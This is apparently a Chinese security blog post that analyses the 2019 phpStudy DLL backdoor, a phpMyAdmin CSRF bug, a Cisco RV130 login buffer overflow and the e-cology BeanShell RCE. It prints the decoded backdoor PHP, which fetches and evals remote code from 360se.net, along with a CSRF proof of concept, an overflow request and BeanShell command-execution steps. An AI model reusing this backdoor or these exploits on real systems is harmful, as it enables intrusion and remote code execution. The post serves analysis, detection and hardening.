phpStudy后门&泛微RCE&CiscoRCE漏洞分析

  • A+
所属分类:安全文章

Author:Huner


0x00 近期漏洞列表

1. cve-2019-12922 phpMyAdmin 0day漏洞

2. PHPstudy 后门

3. CVE-2019-1663 cisco 堆栈缓冲区溢出漏洞

4. 泛微 OA RCE

5. CVE-2019-4505 websphere 任意文件读取漏洞

6. fastjson1.2.61 0day


0x01 PHPStudy后门
精力实在有限,动作慢了一步。网上的分析文章已经出来了一篇(ChaMd5安全团队的),也给出了检测脚本,但由于比较仓促文章里的一些细节没有展开,对于吃瓜群众来说可能看得云里雾里也不知道究竟是怎么定位到后门的。因此在这里做一下验证和补充。
首先用脚本检测一下自己的PHPStudy有没有中枪。在PHPStudy的根目录下启动该脚本便可以递归检测所有路径下的文件中是否包含有后门的特征值,结果如下。

phpStudy后门&泛微RCE&CiscoRCE漏洞分析

很不幸,中枪了。。。(你以为你自己是黑客?其实你已经做了多年肉鸡),看下提示的细节,分别在两个dll文件中匹配到了eval字符串,我们把这两个文件拿出来分析。
全局搜索,在数据区发现两个包含eval的字符串,位于0x1000de98和0x1000deac,如下图。

phpStudy后门&泛微RCE&CiscoRCE漏洞分析

说到eval就很明显了,在php一句话中经常会使用它来执行命令,通过查找字符串的引用位置便可以定位使用这个字符串的功能模块。两处调用位置如下图。

phpStudy后门&泛微RCE&CiscoRCE漏洞分析

在两处调用位置都可以看到包含eval的格式化字符串被入栈前还push了一个参数“gzuncompress”,根据名字也能猜到和压缩或许有关系。查了一下,这字符串正是php中压缩strings的一个函数,因此这里eval中究竟执行了什么可能还要花点精力去找了。当然这也正是这个后门之所以能免杀多年的原因,正常处理PE恶意软件的终端安全软件并不会内置很多脚本语言的规则,甚至可以做个简单实验:用腾讯安全管家去杀一个常见的一句话木马可能都不会报毒。更何况这里面的恶意脚本代码还是经过压缩处理的,自然很难被发现(并不是因为作者用了多么高难度的免杀技术)。
那么我们反编译一下汇编看看这里大致做了什么操作。我这里用的是Mac上的Hopper,反编译出来的代码和逻辑会和IDA不太一样,甚至在一些局部是相反的,但整体上看是等效的就好。
先来看一下两端调用eval的代码段,如下图。

phpStudy后门&泛微RCE&CiscoRCE漏洞分析

phpStudy后门&泛微RCE&CiscoRCE漏洞分析

个人感觉Hopper的伪代码结构比IDA的美观很多,逻辑也更清晰。简单看上去这里就是一个大的if else语句,具体判断了什么就可以先不用管了,反正可以发现下面执行相关php代码的部分是一样的。spprintf是php扩展函数返回字符串的时候用到的,而这里面的参数就是拼接成eval语句的部分,伪代码中保存位置在var_8这个地址(在IDA中这段不是do while,而是死循环条件跳出,其实差不多)。那么var_8处的数据又是从何而来呢?需要看上面的代码。

phpStudy后门&泛微RCE&CiscoRCE漏洞分析

截取上面这一段作代码为例子。
ecx作为计数器用来判断跳出条件是否成立,初始值设置为0x1000c028,跳出条件为ecx >= 0x1000c66c;而var_8中的内容就是写入的压缩字符串数据,每写入一个字节后ecx += 4。也就是说在0x1000c028~0x1000c66c之间,间隔4字节的位置上的数据就是需要写入的压缩数据。同理,另一段压缩数据存在0x1000c66c~0x1000d5c4。如下图。

phpStudy后门&泛微RCE&CiscoRCE漏洞分析

这里的数据是每隔4字节一个字符的,中间都是空字节,因此提取的时候也要按这个规律提取。使用winhex提取16进制复制到记事本,如下图。

phpStudy后门&泛微RCE&CiscoRCE漏洞分析

phpStudy后门&泛微RCE&CiscoRCE漏洞分析

编写一段脚本进行解码和解压缩(gzuncompress解压的不能是字符串,必须是二进制数据),如下图。

phpStudy后门&泛微RCE&CiscoRCE漏洞分析

运行脚本,得到一个eval函数,里面还有一串base64编码,如下图。
phpStudy后门&泛微RCE&CiscoRCE漏洞分析
对这段base64字符串解码,便可以成功还原后门代码,如下图。
phpStudy后门&泛微RCE&CiscoRCE漏洞分析
下面将两两段恶意代码的原文都还原出来。
首先是刚刚还原的那段代码,0x1000c028~0x1000c66c处:

@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
    $out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1rn";
    $out .= "Host: {$h}rn";
    $out .= "Accept-Encoding: compress,gziprn";
    $out .= "Connection: Closernrn";

    fwrite($fp, $out);
    fclose($fp);
}

然后是另一段,0x1000c66c~0x1000d5c4处:

@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
    $result = "";
  $handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10); 
  if( !$handle ){
    $handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
    if( !$handle ){
        return "err";
    }
  }
  fwrite($handle, $sendMsg."n");
    while(!feof($handle)){
        stream_set_timeout($handle, 2);
        $result .= fread($handle, 1024);
        $info = stream_get_meta_data($handle);
        if ($info['timed_out']) {
          break;
        }
     }
  fclose($handle); 
  return $result; 
}

$ds = array("www","bbs","cms","down","up","file","ftp");
$ps = array("20123","40125","8080","80","53");
$n = false;
do {
    $n = false;
    foreach ($ds as $d){
        $b = false;
        foreach ($ps as $p){
            $result = tcpGet($i,$d.".360se.net",$p); 
            if ($result != "err"){
                $b =true;
                break;
            }
        }
        if ($b)break;
    }
    $info = explode("<^>",$result);
    if (count($info)==4){
        if (strpos($info[3],"/*Onemore*/") !== false){
            $info[3] = str_replace("/*Onemore*/","",$info[3]);
            $n=true;
        }
        @eval(base64_decode($info[3]));
    }
}while($n);

可以看出,尤其第二段代码,其中包含明显的fsockopen通信 反弹后门到360se.net的20123端口。在微步在线上查一下威胁情报,如下图。
phpStudy后门&泛微RCE&CiscoRCE漏洞分析
题外话:emmm...微步也是9.20号才刚刚打上标签。但其实现在大可以放心使用(有洁癖的话还是建议下载个新版的phpstudy),因为犯罪分子已经进去了。。。
进去了。。。
去了。。。
了。。。
最后检测脚本贴出来:

# -*- coding:utf8 -*-
__author__='[email protected]'
__blog__='http://pcat.cc'

import os
import string
import re


def strings(file) :
    chars = string.printable[:94]
    shortestReturnChar = 4
    regExp = '[%s]{%d,}' % (chars, shortestReturnChar)
    pattern = re.compile(regExp)
    with open(file, 'rb') as f:
        return pattern.findall(f.read())


def grep(lines,pattern):
    for line in lines:
        if pattern in line:
            yield line


def pcheck(filename):
    # trojan feature
    trojan='@eval'
    # just check dll file
    if filename.endswith('.dll'):        
        lines=strings(filename)
        try:
            grep(lines,trojan).next()
        except:
            return
        print '=== {0} ==='.format(filename)
        for line in grep(lines,trojan):
            print line
    pass


def foo():
    # . stand for current directory
    for path, dirs, files in os.walk(".", topdown=False):
        for name in files:
            pcheck(os.path.join(path, name))
        for name in dirs:
            pcheck(os.path.join(path, name))
    pass


if __name__ == '__main__':
    foo()


利用层面

phpStudy后门&泛微RCE&CiscoRCE漏洞分析


0x02 phpmyadmin-0day(CVE-2019-12922)
漏洞影响所有的phpMyAdmin版本,包括最新的4.9.0.1版本和今年7月发布的phpMyAdmin 5.0.0-alpha1。
根据情报得知,其实早在2019年6月研究人员就发现了该漏洞,并很快提交该漏洞到了项目维护人员。但phpMyAdmin项目维护人员没有在90天修复该漏洞,因此研究人员决定公开该漏洞的详解和PoC代码。
攻击者可利用该漏洞来删除受害者服务器上的phpMyAdmin面板上的设置页面中配置的任意服务器,但并不允许攻击者删除服务器上保存的数据库或表。
实际上这是一个影响可用性的漏洞,貌似并不能直接利用其getshell。而攻击方式也较为简单——CSRF。下面给出一段PoC代码:

<p>Deleting Server 1</p>
 <img src=”
 http://server/phpmyadmin/setup/index.php?page=servers&mode=remove&id=1″
 style=”display:none;” />



0x03 Cisco RV130W/RV215W/RV110W远程代码执行(CVE-2019-1663)
周末找了好久Cisco的固件尝试搭建环境但是没有成功,但网上已经有了英文的分析文章,在这里就给一个翻译版本吧。原文在这里:
https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/
研究人员最早是在RV130路由器上发现该漏洞的,RV130路由器运行的并不是Cisco IOS系统而是嵌入式Linux系统。路由器的主要功能是由一些二进制函数处理的,包括处理用户输入和使路由器正常工作。
大多数的用户输入来自于web接口,受影响的二进制文件是httpd webserver二进制文件。实际上该文件只是处理经过80或443端口的所有数据,它获取通过HTTP传输的用户输入,并转换为系统级的配置。
看一下CVE-2019-1663漏洞背后的问题机制,如下图。
phpStudy后门&泛微RCE&CiscoRCE漏洞分析
如果太长的数据传递到login.cgi终端的pwd参数,就会出现缓冲区溢出。这一步是认证之前发生的,下面看一下正常登录的过程。到web接口的登录请求会发送给login.cgi终端,格式如下。

POST /login.cgi HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.1.1/
Content-Type: application/x-www-form-urlencoded
Content-Length: 137
Connection: close
Upgrade-Insecure-Requests: 1
 
submit_button=login&submit_type=&gui_action=&wait_time=0&change_action=&enc=1&user=cisco&pwd=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&sel_lang=EN

Pwd值实际上是以32字节长的编码密码的形式发送的,该值是在请求发送前通过浏览器中的JS代码计算的。登录由httpd的0x0002C614处的函数处理,请求参数会从POST请求中进行分析,然后token化之后放在可执行文件的静态数据库(.bss)。如下图。
phpStudy后门&泛微RCE&CiscoRCE漏洞分析
然后,合法编码的密码就会从NVRAM设备中取出,放入内存中。然后,pwd参数的值就会从.bss中取出来,这里使用了标准C调用strcpy将它放入动态分配的内存中。如下图。
phpStudy后门&泛微RCE&CiscoRCE漏洞分析
在正常登录情况下,每个值都会进行相同的检查。在strcpy将值复制到内存中后,strlen就会计算每个项目的长度,然后strcmp比较两个值。如果所有检查都通过的话,就可以成功登录。如下图。
phpStudy后门&泛微RCE&CiscoRCE漏洞分析
其实这里问题已经很明显了,哪怕学过C语言的本科生也会被告知strcpy等函数是极度不安全的,不知道为什么Cisco还会让这样的程序存在于登录接口这么重要的位置,难不成是有意而为的后门么?
扯远了,还是解释一下为什么strcpy不安全吧(这里翻译自网上文章,具体原理也可以类比之前写的“PCManFTPv2.0远程代码执行漏洞”)。
在标准的C语言中,strcpy定义如下:

#include <string.h>
char *strcpy(char * restrict s1, const char * restrict s2);
[…]

Strcpy函数会复制s2指向的字符串到s1指向的数组中。如果复制在交叉的对象间发生,这种情况是没有预先定义的。也就是说可能会发生一些意料之外的事情。为什么说strcpy有威胁呢?是因为它会复制s2字符串到s1指向的内存。但是该函数不传递长度,也就是说strcpy函数不关心字符串的长度。对strcpy来说,字符串的长度一点也不重要。复制的过程中可能会产生覆写的情况,而攻击者也正是利用这一潜在漏洞发起攻击,可以覆写栈内保存的返回指针,然后重定向进程的执行流。下图是在使用strcpy时可能会发生的情况。
phpStudy后门&泛微RCE&CiscoRCE漏洞分析
发送下面的请求给RV130型设备时发生的情况就和上面一样:

POST /login.cgi HTTP/1.1
Host: 192.168.22.158
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://192.168.22.158/
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 571
 
submit_button=login&submit_type=&gui_action=&default_login=1&wait_time=0&change_action=&enc=1&user=cisco&pwd=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZZZZ&sel_lang=EN

栈中保存的返回指针会被“ZZZZ”覆写,因此执行流会被重定向到0x5A5A5A5A。因此攻击者只要自定义这个指针便可以轻松做到RCE。
据说Cisco官方给出了修复补丁,但是补丁并不好使。这也告诉我们一个事实:直接使用编写不规范的二进制程序作为web后端是极度危险的,基本就等于“我家大门常打开...”,而且修复起来,成本也比脚本程序要大得多。
另外再次提醒,在编码时建议使用strlcpy函数,strlcpy是C语言标准库函数,是更加安全版本的strcpy函数,在已知目的地址空间大小的情况下,把从src地址开始且含有''结束符的字符串复制到以dest开始的地址空间,不会造成缓冲区溢出。


0x04 泛微 e-cology OA 远程代码执行漏洞
这个漏洞应该是目前最喜闻乐见的了,原理简单,利用更简单(脚本小子最喜欢了)。所以先看一下复现。
访问http://server/weaver/bsh.servlet.BshServlet便可直接进入e-cology OA集成的Beanshell(BeanShell是一个小型嵌入式Java源代码解释器,具有对象脚本语言特性,能够动态地执行标准JAVA语法)。页面长这个样子,如下图。
phpStudy后门&泛微RCE&CiscoRCE漏洞分析
把print("hello!")换成exec("whoami"),就可以测试能否执行系统命令了。下图中的测试payload可以绕过全局函数过滤,确实喜闻乐见。
phpStudy后门&泛微RCE&CiscoRCE漏洞分析
去空间搜索引擎搜一搜,基本上都在中国,相当难受啊。
phpStudy后门&泛微RCE&CiscoRCE漏洞分析
由于搭环境的问题很麻烦,一直运行不起来。鉴于漏洞原理比较简单也就没必要动态调试了,看看代码即可。
在安装路径中全局搜索bsh,看到仅有“bsh-2[1].0b4.jar”这个文件,使用jd将其反编译。根据漏洞存在的URL,在bsh中搜索servlet.BshServlet这个类,如下图。
phpStudy后门&泛微RCE&CiscoRCE漏洞分析
在类中发现doGet和doPost方法,用来接收并执行提交的数据。doPost实际上就是对doGet的二次封装,本质是一样的,细节如下图。
phpStudy后门&泛微RCE&CiscoRCE漏洞分析
phpStudy后门&泛微RCE&CiscoRCE漏洞分析
在doGet方法中看到了str1这个参数最终被用于调用evalScript方法创建一个名为localObject1的对象,再看这个方法中的pramString参数(也就是刚刚传入的str1),最终会被localInterpreter.eval处理。如下图。
phpStudy后门&泛微RCE&CiscoRCE漏洞分析
这个eval看上去就比较明显了,但实际上也是二次封装,再看一下eval的细节,其功能就是将传入的参数当作java代码执行并返回结果。如下图。
phpStudy后门&泛微RCE&CiscoRCE漏洞分析
分析到这里就可以结束了,造成该漏洞的原因也非常简单:这个jar中的类和方法可以直接未授权访问,没有经过任何认证。当然,加固方式也很简单,如果不需要使用BeanShell直接将这个包删除或设置目录为不可读即可;如果需要使用则需要在该包中加入认证授权相关的代码。
实际上,未授权访问这一类的漏洞,其危害主要取决于其存在的场景,可能是低危(如信息泄露),也有可能是高危(如远程代码执行)。目前互联网上还存在着很多未打补丁的e-cology OA,需要密切关注了。防止国庆节被偷家,保命要紧。

phpStudy后门&泛微RCE&CiscoRCE漏洞分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: